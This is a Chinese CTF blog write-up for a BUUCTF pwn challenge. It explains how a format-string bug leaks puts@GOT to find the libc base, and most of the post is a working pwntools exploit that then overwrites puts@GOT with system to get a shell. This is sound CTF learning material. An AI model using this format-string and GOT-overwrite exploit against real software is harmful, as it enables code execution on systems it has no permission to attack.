【pwn】puts or system? --格式化字符串漏洞泄露libc基址

发布时间 2023-12-03 14:37:33作者: GGBomb

还是先看一下保护情况

开了canary,接着看主函数逻辑

看到这里的代码逻辑,我一开始是想通过printf泄露出canary的值,然后再用ret2libc来打,但是我发现这个libc不好泄露,一般的泄露的思路都是构造ROP,通过puts函数泄露出puts的got表内容,但是我在寻找rdi这个gadget的时候,是找不到的

这也直接将这个方法堵死了,后面发现可以通过格式化字符串漏洞泄露出libc基地址,exp如下:

from pwn import *
elf=ELF('./pwn')
io=remote("node4.buuoj.cn",28755)
context(os='linux',arch='amd64',log_level='debug')

puts_got=elf.got['puts']
io=remote("node4.buuoj.cn",28755)
io.recvuntil(b"gift?(0/1)\n")
io.sendline(str(1))
io.recvuntil(b"What's it\n")
payload=b'AAAA%9$s'+p64(puts_got)          这里是关键,%9$s可以打印puts_got表对应的值,即puts函数地址,'AAAA%9$s'是为了构造八字节,格式化字符串的第八个参数
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc=ELF('./libc.so.6')
base=puts_addr-libc.sym['puts']
system_addr=base+libc.sym['system']

io.recvuntil(b"gift?(0/1)\n")
io.sendline(str(1))
io.recvuntil(b"What's it\n")
payload2=fmtstr_payload(8,{puts_got:system_addr})
io.send(payload2)

io.interactive()